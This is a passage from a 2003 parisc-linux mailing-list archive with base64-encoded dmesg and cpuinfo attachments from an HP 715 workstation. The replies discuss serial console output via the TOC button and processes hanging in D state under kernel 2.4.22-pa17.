DQpMRUQgZGlzcGxheSBhdCBmMDBlMDAwMCByZWdpc3RlcmVkDQpXYXggYXQg
MHhmMDIwMDAwMCBmb3VuZC4NCldheCBFSVNBIEFkYXB0ZXIgZm91bmQgYXQg
MHhmYzAwMDAwMA0KRUlTQSBFRVBST00gYXQgMHhmMDBjMDQwMA0KRW51bWVy
YXRpbmcgRUlTQSBidXMNCkVJU0Egc2xvdCAxIGEgY29uZmlndXJlZCBib2Fy
ZCB3YXMgbm90IGRldGVjdGVkICggZXhwZWN0ZWQgSU5UMTA2MCkNClBPU0lY
IGNvbmZvcm1hbmNlIHRlc3RpbmcgYnkgVU5JRklYDQpMaW51eCBORVQ0LjAg
Zm9yIExpbnV4IDIuNA0KQmFzZWQgdXBvbiBTd2Fuc2VhIFVuaXZlcnNpdHkg
Q29tcHV0ZXIgU29jaWV0eSBORVQzLjAzOQ0KSW5pdGlhbGl6aW5nIFJUIG5l
dGxpbmsgc29ja2V0DQpHZWNrby1zdHlsZSBzb2Z0IHBvd2VyIHN3aXRjaCBl
bmFibGVkLg0KU3RhcnRpbmcga3N3YXBkDQpKb3VybmFsbGVkIEJsb2NrIERl
dmljZSBkcml2ZXIgbG9hZGVkDQpwdHk6IDI1NiBVbml4OTggcHR5cyBjb25m
aWd1cmVkDQpTZXJpYWwgZHJpdmVyIHZlcnNpb24gNS4wNWMgKDIwMDEtMDct
MDgpIHdpdGggbm8gc2VyaWFsIG9wdGlvbnMgZW5hYmxlZA0KdHR5UzAwIGF0
IGlvbWVtIDB4ZjAxMDU4MDAgKGlycSA9IDkwKSBpcyBhIDE2NTUwQQ0KdHR5
UzAxIGF0IGlvbWVtIDB4ZjAyMDI4MDAgKGlycSA9IDEyMSkgaXMgYSAxNjU1
MEENClJBTURJU0sgZHJpdmVyIGluaXRpYWxpemVkOiAxNiBSQU0gZGlza3Mg
b2YgNDA5Nksgc2l6ZSAxMDI0IGJsb2Nrc2l6ZQ0KbG9vcDogbG9hZGVkICht
YXggOCBkZXZpY2VzKQ0KRm91bmQgaTgyNTk2IGF0IDB4ZjAxMDcwMDAsIElS
USA4Nw0KZXRoMDogODI1OTYgYXQgMHhmMDEwNzAwMCwgMDggMDAgMDkgRTQg
N0QgMDIgSVJRIDg3Lg0KODI1OTYuYyAkUmV2aXNpb246IDEuMzIgJA0KU0NT
SSBzdWJzeXN0ZW0gZHJpdmVyIFJldmlzaW9uOiAxLjAwDQo1M2M3MDA6IFZl
cnNpb24gMi44IEJ5IEphbWVzLkJvdHRvbWxleUBIYW5zZW5QYXJ0bmVyc2hp
cC5jb20NCnNjc2kwOiA1M2M3MTAgcmV2IDIgDQpzY3NpMCA6IExBU0kgU0NT
SSA1M2M3MDANCnNjc2kwOiAoMTowKSBTeW5jaHJvbm91cyBhdCBvZmZzZXQg
OCwgcGVyaW9kIDEwMG5zDQogIFZlbmRvcjogU0VBR0FURSAgIE1vZGVsOiBT
VDE1MTUwTiAgICAgICAgICBSZXY6IDkxMDcNCiAgVHlwZTogICBEaXJlY3Qt
QWNjZXNzICAgICAgICAgICAgICAgICAgICAgIEFOU0kgU0NTSSByZXZpc2lv
bjogMDINCnNjc2kwOiAoNjowKSBTeW5jaHJvbm91cyBhdCBvZmZzZXQgOCwg
cGVyaW9kIDEwMG5zDQogIFZlbmRvcjogUVVBTlRVTSAgIE1vZGVsOiBGSVJF
QkFMTC1TVDIgICAgICBSZXY6IEhQMEoNCiAgVHlwZTogICBEaXJlY3QtQWNj
ZXNzICAgICAgICAgICAgICAgICAgICAgIEFOU0kgU0NTSSByZXZpc2lvbjog
MDINCkF0dGFjaGVkIHNjc2kgZGlzayBzZGEgYXQgc2NzaTAsIGNoYW5uZWwg
MCwgaWQgMSwgbHVuIDANCkF0dGFjaGVkIHNjc2kgZGlzayBzZGIgYXQgc2Nz
aTAsIGNoYW5uZWwgMCwgaWQgNiwgbHVuIDANCnNjc2kwOiAoMTowKSBFbmFi
bGluZyBUYWcgQ29tbWFuZCBRdWV1aW5nDQpTQ1NJIGRldmljZSBzZGE6IDgz
ODgzMTUgNTEyLWJ5dGUgaGR3ciBzZWN0b3JzICg0Mjk1IE1CKQ0KUGFydGl0
aW9uIGNoZWNrOg0KIHNkYTogc2RhMSBzZGEyIHNkYTMgc2RhNCA8IHNkYTUg
c2RhNiBzZGE3IHNkYTggc2RhOSBzZGExMCA+DQpzY3NpMDogKDY6MCkgRW5h
YmxpbmcgVGFnIENvbW1hbmQgUXVldWluZw0KU0NTSSBkZXZpY2Ugc2RiOiA0
MTk0Njg1IDUxMi1ieXRlIGhkd3Igc2VjdG9ycyAoMjE0OCBNQikNCiBzZGI6
IHNkYjEgc2RiMiBzZGIzIDwgc2RiNSBzZGI2IHNkYjcgc2RiOCBzZGI5ID4N
Cm1kOiByYWlkMCBwZXJzb25hbGl0eSByZWdpc3RlcmVkIGFzIG5yIDINCm1k
OiBtZCBkcml2ZXIgMC45MC4wIE1BWF9NRF9ERVZTPTI1NiwgTURfU0JfRElT
S1M9MjcNCm1kOiBBdXRvZGV0ZWN0aW5nIFJBSUQgYXJyYXlzLg0KbWQ6IGF1
dG9ydW4gLi4uDQptZDogLi4uIGF1dG9ydW4gRE9ORS4NCk5FVDQ6IExpbnV4
IFRDUC9JUCAxLjAgZm9yIE5FVDQuMA0KSVAgUHJvdG9jb2xzOiBJQ01QLCBV
RFAsIFRDUCwgSUdNUA0KSVA6IHJvdXRpbmcgY2FjaGUgaGFzaCB0YWJsZSBv
ZiAyMDQ4IGJ1Y2tldHMsIDE2S2J5dGVzDQpUQ1A6IEhhc2ggdGFibGVzIGNv
bmZpZ3VyZWQgKGVzdGFibGlzaGVkIDE2Mzg0IGJpbmQgMzI3NjgpDQpORVQ0
OiBVbml4IGRvbWFpbiBzb2NrZXRzIDEuMC9TTVAgZm9yIExpbnV4IE5FVDQu
MC4NCkVYVDMtZnM6IElORk86IHJlY292ZXJ5IHJlcXVpcmVkIG9uIHJlYWRv
bmx5IGZpbGVzeXN0ZW0uDQpFWFQzLWZzOiB3cml0ZSBhY2Nlc3Mgd2lsbCBi
ZSBlbmFibGVkIGR1cmluZyByZWNvdmVyeS4NCmtqb3VybmFsZCBzdGFydGlu
Zy4gIENvbW1pdCBpbnRlcnZhbCA1IHNlY29uZHMNCkVYVDMtZnM6IHJlY292
ZXJ5IGNvbXBsZXRlLg0KRVhUMy1mczogbW91bnRlZCBmaWxlc3lzdGVtIHdp
dGggb3JkZXJlZCBkYXRhIG1vZGUuDQpWRlM6IE1vdW50ZWQgcm9vdCAoZXh0
MyBmaWxlc3lzdGVtKSByZWFkb25seS4NCkZyZWVpbmcgdW51c2VkIGtlcm5l
bCBtZW1vcnk6IDE2MWsgZnJlZWQNCkFkZGluZyBTd2FwOiAxMzI4ODhrIHN3
YXAtc3BhY2UgKHByaW9yaXR5IC0xKQ0KRVhUMyBGUyAyLjQtMC45LjE5LCAx
OSBBdWd1c3QgMjAwMiBvbiBzZCg4LDMpLCBpbnRlcm5hbCBqb3VybmFsDQpw
YXJwb3J0X2luaXRfY2hpcDogaW5pdGlhbGl6ZSBiaWRpcmVjdGlvbmFsLW1v
ZGUuDQpwYXJwb3J0MDogUEMtc3R5bGUgYXQgMHhmMDEwMjgwMCwgaXJxIDg4
IFtQQ1NQUCxUUklTVEFURV0NCiBbZXZlbnRzOiAwMDAwMDA0MF0NCm1kOiBi
aW5kPHNkYjYsMT4NCiBbZXZlbnRzOiAwMDAwMDA0MF0NCm1kOiBiaW5kPHNk
YTcsMj4NCm1kOiBzZGE3J3MgZXZlbnQgY291bnRlcjogMDAwMDAwNDANCm1k
OiBzZGI2J3MgZXZlbnQgY291bnRlcjogMDAwMDAwNDANCm1kMDogbWF4IHRv
dGFsIHJlYWRhaGVhZCB3aW5kb3cgc2V0IHRvIDUxMmsNCm1kMDogMiBkYXRh
LWRpc2tzLCBtYXggcmVhZGFoZWFkIHBlciBkYXRhLWRpc2s6IDI1NmsNCnJh
aWQwOiBsb29raW5nIGF0IHNkYTcNCnJhaWQwOiAgIGNvbXBhcmluZyBzZGE3
KDIwNjAxNikgd2l0aCBzZGE3KDIwNjAxNikNCnJhaWQwOiAgIEVORA0KcmFp
ZDA6ICAgPT0+IFVOSVFVRQ0KcmFpZDA6IDEgem9uZXMNCnJhaWQwOiBsb29r
aW5nIGF0IHNkYjYNCnJhaWQwOiAgIGNvbXBhcmluZyBzZGI2KDIwNTUwNCkg
d2l0aCBzZGE3KDIwNjAxNikNCnJhaWQwOiAgIE5PVCBFUVVBTA0KcmFpZDA6
ICAgY29tcGFyaW5nIHNkYjYoMjA1NTA0KSB3aXRoIHNkYjYoMjA1NTA0KQ0K
cmFpZDA6ICAgRU5EDQpyYWlkMDogICA9PT4gVU5JUVVFDQpyYWlkMDogMiB6
b25lcw0KcmFpZDA6IEZJTkFMIDIgem9uZXMNCnJhaWQwOiB6b25lIDANCnJh
aWQwOiBjaGVja2luZyBzZGE3IC4uLiBjb250YWluZWQgYXMgZGV2aWNlIDAN
CiAgKDIwNjAxNikgaXMgc21hbGxlc3QhLg0KcmFpZDA6IGNoZWNraW5nIHNk
YjYgLi4uIGNvbnRhaW5lZCBhcyBkZXZpY2UgMQ0KICAoMjA1NTA0KSBpcyBz
bWFsbGVzdCEuDQpyYWlkMDogem9uZS0+bmJfZGV2OiAyLCBzaXplOiA0MTEw
MDgNCnJhaWQwOiBjdXJyZW50IHpvbmUgb2Zmc2V0OiAyMDU1MDQNCnJhaWQw
OiB6b25lIDENCnJhaWQwOiBjaGVja2luZyBzZGE3IC4uLiBjb250YWluZWQg
YXMgZGV2aWNlIDANCiAgKDIwNjAxNikgaXMgc21hbGxlc3QhLg0KcmFpZDA6
IGNoZWNraW5nIHNkYjYgLi4uIG5vcGUuDQpyYWlkMDogem9uZS0+bmJfZGV2
OiAxLCBzaXplOiA1MTINCnJhaWQwOiBjdXJyZW50IHpvbmUgb2Zmc2V0OiAy
MDYwMTYNCnJhaWQwOiBkb25lLg0KcmFpZDAgOiBtZF9zaXplIGlzIDQxMTUy
MCBibG9ja3MuDQpyYWlkMCA6IGNvbmYtPnNtYWxsZXN0LT5zaXplIGlzIDUx
MiBibG9ja3MuDQpyYWlkMCA6IG5iX3pvbmUgaXMgODA0Lg0KcmFpZDAgOiBB
bGxvY2F0aW5nIDY0MzIgYnl0ZXMgZm9yIGhhc2guDQptZDogdXBkYXRpbmcg
bWQwIFJBSUQgc3VwZXJibG9jayBvbiBkZXZpY2UNCm1kOiBzZGE3IFtldmVu
dHM6IDAwMDAwMDQxXTw2Pih3cml0ZSkgc2RhNydzIHNiIG9mZnNldDogMjA2
MDE2DQptZDogc2RiNiBbZXZlbnRzOiAwMDAwMDA0MV08Nj4od3JpdGUpIHNk
YjYncyBzYiBvZmZzZXQ6IDIwNTUwNA0KIFtldmVudHM6IDAwMDAwMDJhXQ0K
bWQ6IGJpbmQ8c2RiNywxPg0KIFtldmVudHM6IDAwMDAwMDJhXQ0KbWQ6IGJp
bmQ8c2RhOCwyPg0KbWQ6IHNkYTgncyBldmVudCBjb3VudGVyOiAwMDAwMDAy
YQ0KbWQ6IHNkYjcncyBldmVudCBjb3VudGVyOiAwMDAwMDAyYQ0KbWQxOiBt
YXggdG90YWwgcmVhZGFoZWFkIHdpbmRvdyBzZXQgdG8gNDk2aw0KbWQxOiAy
IGRhdGEtZGlza3MsIG1heCByZWFkYWhlYWQgcGVyIGRhdGEtZGlzazogMjQ4
aw0KcmFpZDA6IGxvb2tpbmcgYXQgc2RhOA0KcmFpZDA6ICAgY29tcGFyaW5n
IHNkYTgoMjA2MDE2KSB3aXRoIHNkYTgoMjA2MDE2KQ0KcmFpZDA6ICAgRU5E
DQpyYWlkMDogICA9PT4gVU5JUVVFDQpyYWlkMDogMSB6b25lcw0KcmFpZDA6
IGxvb2tpbmcgYXQgc2RiNw0KcmFpZDA6ICAgY29tcGFyaW5nIHNkYjcoMjA1
NTA0KSB3aXRoIHNkYTgoMjA2MDE2KQ0KcmFpZDA6ICAgTk9UIEVRVUFMDQpy
YWlkMDogICBjb21wYXJpbmcgc2RiNygyMDU1MDQpIHdpdGggc2RiNygyMDU1
MDQpDQpyYWlkMDogICBFTkQNCnJhaWQwOiAgID09PiBVTklRVUUNCnJhaWQw
OiAyIHpvbmVzDQpyYWlkMDogRklOQUwgMiB6b25lcw0KcmFpZDA6IHpvbmUg
MA0KcmFpZDA6IGNoZWNraW5nIHNkYTggLi4uIGNvbnRhaW5lZCBhcyBkZXZp
Y2UgMA0KICAoMjA2MDE2KSBpcyBzbWFsbGVzdCEuDQpyYWlkMDogY2hlY2tp
bmcgc2RiNyAuLi4gY29udGFpbmVkIGFzIGRldmljZSAxDQogICgyMDU1MDQp
IGlzIHNtYWxsZXN0IS4NCnJhaWQwOiB6b25lLT5uYl9kZXY6IDIsIHNpemU6
IDQxMTAwOA0KcmFpZDA6IGN1cnJlbnQgem9uZSBvZmZzZXQ6IDIwNTUwNA0K
cmFpZDA6IHpvbmUgMQ0KcmFpZDA6IGNoZWNraW5nIHNkYTggLi4uIGNvbnRh
aW5lZCBhcyBkZXZpY2UgMA0KICAoMjA2MDE2KSBpcyBzbWFsbGVzdCEuDQpy
YWlkMDogY2hlY2tpbmcgc2RiNyAuLi4gbm9wZS4NCnJhaWQwOiB6b25lLT5u
Yl9kZXY6IDEsIHNpemU6IDUxMg0KcmFpZDA6IGN1cnJlbnQgem9uZSBvZmZz
ZXQ6IDIwNjAxNg0KcmFpZDA6IGRvbmUuDQpyYWlkMCA6IG1kX3NpemUgaXMg
NDExNTIwIGJsb2Nrcy4NCnJhaWQwIDogY29uZi0+c21hbGxlc3QtPnNpemUg
aXMgNTEyIGJsb2Nrcy4NCnJhaWQwIDogbmJfem9uZSBpcyA4MDQuDQpyYWlk
MCA6IEFsbG9jYXRpbmcgNjQzMiBieXRlcyBmb3IgaGFzaC4NCm1kOiB1cGRh
dGluZyBtZDEgUkFJRCBzdXBlcmJsb2NrIG9uIGRldmljZQ0KbWQ6IHNkYTgg
W2V2ZW50czogMDAwMDAwMmJdPDY+KHdyaXRlKSBzZGE4J3Mgc2Igb2Zmc2V0
OiAyMDYwMTYNCm1kOiBzZGI3IFtldmVudHM6IDAwMDAwMDJiXTw2Pih3cml0
ZSkgc2RiNydzIHNiIG9mZnNldDogMjA1NTA0DQpyZWlzZXJmczogZm91bmQg
Zm9ybWF0ICIzLjYiIHdpdGggc3RhbmRhcmQgam91cm5hbA0KcmVpc2VyZnM6
IGNoZWNraW5nIHRyYW5zYWN0aW9uIGxvZyAoZGV2aWNlIHNkKDgsMTgpKSAu
Li4NCmZvciAoc2QoOCwxOCkpDQpzZCg4LDE4KTpVc2luZyByNSBoYXNoIHRv
IHNvcnQgbmFtZXMNCnJlaXNlcmZzOiBmb3VuZCBmb3JtYXQgIjMuNiIgd2l0
aCBzdGFuZGFyZCBqb3VybmFsDQpyZWlzZXJmczogY2hlY2tpbmcgdHJhbnNh
Y3Rpb24gbG9nIChkZXZpY2Ugc2QoOCw1KSkgLi4uDQpmb3IgKHNkKDgsNSkp
DQpyZWlzZXJmczogcmVwbGF5ZWQgMSB0cmFuc2FjdGlvbnMgaW4gMCBzZWNv
bmRzDQpzZCg4LDUpOlVzaW5nIHI1IGhhc2ggdG8gc29ydCBuYW1lcw0KcmVp
c2VyZnM6IGZvdW5kIGZvcm1hdCAiMy42IiB3aXRoIHN0YW5kYXJkIGpvdXJu
YWwNCnJlaXNlcmZzOiBjaGVja2luZyB0cmFuc2FjdGlvbiBsb2cgKGRldmlj
ZSBzZCg4LDI0KSkgLi4uDQpmb3IgKHNkKDgsMjQpKQ0KcmVpc2VyZnM6IHJl
cGxheWVkIDE2IHRyYW5zYWN0aW9ucyBpbiAxIHNlY29uZHMNCnNkKDgsMjQp
OlVzaW5nIHI1IGhhc2ggdG8gc29ydCBuYW1lcw0KcmVpc2VyZnM6IGZvdW5k
IGZvcm1hdCAiMy42IiB3aXRoIHN0YW5kYXJkIGpvdXJuYWwNCnJlaXNlcmZz
OiBjaGVja2luZyB0cmFuc2FjdGlvbiBsb2cgKGRldmljZSBzZCg4LDYpKSAu
Li4NCmZvciAoc2QoOCw2KSkNCnNkKDgsNik6VXNpbmcgcjUgaGFzaCB0byBz
b3J0IG5hbWVzDQpyZWlzZXJmczogZm91bmQgZm9ybWF0ICIzLjYiIHdpdGgg
c3RhbmRhcmQgam91cm5hbA0KcmVpc2VyZnM6IGNoZWNraW5nIHRyYW5zYWN0
aW9uIGxvZyAoZGV2aWNlIG1kKDksMCkpIC4uLg0KZm9yIChtZCg5LDApKQ0K
cmVpc2VyZnM6IHJlcGxheWVkIDEgdHJhbnNhY3Rpb25zIGluIDEgc2Vjb25k
cw0KbWQoOSwwKTpVc2luZyByNSBoYXNoIHRvIHNvcnQgbmFtZXMNCm1kKDks
MCk6UmVtb3ZpbmcgWzIgOSAweDAgU0RdLi5kb25lDQptZCg5LDApOlJlbW92
aW5nIFsyIDggMHgwIFNEXS4uZG9uZQ0KbWQoOSwwKTpUaGVyZSB3ZXJlIDIg
dW5jb21wbGV0ZWQgdW5saW5rcy90cnVuY2F0ZXMuIENvbXBsZXRlZA0KcmVp
c2VyZnM6IGZvdW5kIGZvcm1hdCAiMy42IiB3aXRoIHN0YW5kYXJkIGpvdXJu
YWwNCnJlaXNlcmZzOiBjaGVja2luZyB0cmFuc2FjdGlvbiBsb2cgKGRldmlj
ZSBtZCg5LDEpKSAuLi4NCmZvciAobWQoOSwxKSkNCm1kKDksMSk6VXNpbmcg
cjUgaGFzaCB0byBzb3J0IG5hbWVzDQpldGgwOiBsaW5rIG9rLg0KbHAwOiB1
c2luZyBwYXJwb3J0MCAoaW50ZXJydXB0LWRyaXZlbikuDQpJbnN0YWxsaW5n
IGtuZnNkIChjb3B5cmlnaHQgKEMpIDE5OTYgb2tpckBtb25hZC5zd2IuZGUp
Lg0K

--17435138-173600930-1069165496=:5439
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=cpuinfo
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.58.0311181024562.5439@brain.fop.ns.ca>
Content-Description: cpuinfo
Content-Disposition: attachment; filename=cpuinfo

cHJvY2Vzc29yCTogMA0KY3B1IGZhbWlseQk6IFBBLVJJU0MgMS4xZA0KY3B1
CQk6IFBBNzEwMExDIChQQ1gtTCkNCmNwdSBNSHoJCTogMTAwLjAwMDAwMA0K
bW9kZWwJCTogOTAwMC83MTUNCm1vZGVsIG5hbWUJOiBNaXJhZ2UgMTAwKw0K
aHZlcnNpb24JOiAweDAwMDA2MGMwDQpzdmVyc2lvbgk6IDB4MDAwMDA0ODEN
CkktY2FjaGUJCTogNTEyIEtCDQpELWNhY2hlCQk6IDUxMiBLQiAoV0IpDQpJ
VExCIGVudHJpZXMJOiA2NA0KRFRMQiBlbnRyaWVzCTogNjQgLSBzaGFyZWQg
d2l0aCBJVExCDQpCVExCIGZpeGVkCTogbWF4LiAxNjM4NCBwYWdlcywgcGFn
ZXNpemU9NDA5NiAoNjRNQikNCkJUTEIgZml4LWVudHIuCTogMCBpbnN0cnVj
dGlvbiwgMCBkYXRhICg4IGNvbWJpbmVkKQ0KQlRMQiB2YXItZW50ci4JOiAw
IGluc3RydWN0aW9uLCAwIGRhdGEgKDAgY29tYmluZWQpDQpib2dvbWlwcwk6
IDk5LjczDQpzb2Z0d2FyZSBpZAk6IDIwMDIxNTIyNzANCg0K

--17435138-173600930-1069165496=:5439--


From - Thu Nov 08 21:30:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial console on hp 715/50
Date: Tue, 18 Nov 2003 09:53:34 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20031118165334.GB9865@colo.lackof.org>
References: <200311181116.31082.pietro-ki@3000.it> <20031118131359.GK30485@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622971 1654 80.91.229.3 (22 Nov 2014 02:22:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:51 +0000 (UTC)
Cc: Pietro <pietro-ki@3000.it>, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 18 09:53:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E6CB4843
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Nov 2003 09:53:39 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 78F1629802E; Tue, 18 Nov 2003 09:53:35 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 09734-07; Tue, 18 Nov 2003 09:53:35 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E898D29800B; Tue, 18 Nov 2003 09:53:34 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20031118131359.GK30485@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20130

On Tue, Nov 18, 2003 at 01:13:59PM +0000, Matthew Wilcox wrote:
> I've done this before successfully.  Press the TOC button in and then
> power on the box.  It will start displaying the boot messages on console.
> Maybe try holding the TOC button in for longer ...

For about 10 seconds, IIRC.
AFAIK, this only works for 715 systems.

grant


From - Thu Nov 08 21:30:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Processes stuck in D state on 715/100XC with 2.4.22-pa17
Date: Tue, 18 Nov 2003 18:28:27 +0000
Lines: 70
Approved: news@gmane.org
Message-ID: <3FB265EC0000392B@ocpmta3.freegates.net>
References: <Pine.LNX.4.58.0311181014220.5439@brain.fop.ns.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622971 1659 80.91.229.3 (22 Nov 2014 02:22:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:51 +0000 (UTC)
To: "Steve Bromwich" <lists@fop.ns.ca>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 18 11:28:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E0974840
	for <parisc-linux@parisc-linux.org>; Tue, 18 Nov 2003 11:28:36 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AMAaT-0005Hr-00; Tue, 18 Nov 2003 19:28:29 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 18 Nov 2003 19:28:27 +0100
In-Reply-To: <Pine.LNX.4.58.0311181014220.5439@brain.fop.ns.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20131

Hi Steve,

The toc 'process' don't display anything (excepted may be on lcd). To see
'piminfo', you should interupt the boot and collect the 'piminfo' (iirc >
ser pim).

hth,
    Joel

PS: btw which glibc is installed on your system?

>-- Original Message --
>From: Steve Bromwich <lists@fop.ns.ca>
>To: parisc-linux@parisc-linux.org
>Date: Tue, 18 Nov 2003 10:24:56 -0400 (AST)
>Subject: [parisc-linux] Processes stuck in D state on 715/100XC with 2.4.22-pa17
>
>
>Hi,

I installed 2.4.22-pa17 on my machine over the weekend, and I'm getting
processes stuck in D state. The machine usually runs for several hours
without any problem, but then processes start dying, apparently fairly
randomly, the load goes up, 
>nd vmstat shows CPU as near 100% idle. I
*think* it's something to do with writing to the drive, since one of the
first things to die is syslogging. Anything that doesn't touch the drive
(eg, IRC clients) seem to run forever. One thing that really k
>lls it
seems to be daily maintenance around 6am; I can see mail being delivered
until then, and after that it queues on my backup MX. The only way to get
the machine back is to pull the power - shutdown -r now hangs, presing the
power button gets s
>utdown started but still hangs, and the TOC doesn't
seem to produce any output on my serial console. I've only seen a process
die in ffront of me once, when I was exiting from a bash session; the
machine just sat there with no i/o, ps aux showed the
>bash session stuck
in D state, and I couldn't ctrl-c or ctrl-z out of it at all.

Prior to this I was running 2.4.18 with no problem with the machine
running for months at a time. Has anyone seen this problem and/or got any
tips on how to figure o
>t what's going wrong? I can't find any error
output anywhere that's hinting what could be wrong, so I'm really stuck on
this one.

I've attached my .config, dmesg and cpuinfo in case anyone can see
anything obvious. Thanks for any help!

Cheers,
>Steve
>
>Attachment: config_2422pa17
>
>
>Attachment: dmesg
>
>
>Attachment: cpuinfo
>


-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Bromwich <lists@fop.ns.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Processes stuck in D state on 715/100XC with
 2.4.22-pa17
Date: Tue, 18 Nov 2003 14:34:49 -0400 (AST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311181432590.11677@brain.fop.ns.ca>
References: <3FB265EC0000392B@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622972 1665 80.91.229.3 (22 Nov 2014 02:22:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:52 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 18 11:34:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from brain.fop.ns.ca (u135n18.eastlink.ca [24.224.135.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id C57074840
	for <parisc-linux@parisc-linux.org>; Tue, 18 Nov 2003 11:34:51 -0700 (MST)
Original-Received: from lists (helo=localhost)
	by brain.fop.ns.ca with local-esmtp (Exim 3.35 #1 (Debian))
	id 1AMAgb-00034V-00; Tue, 18 Nov 2003 14:34:49 -0400
In-Reply-To: <3FB265EC0000392B@ocpmta3.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
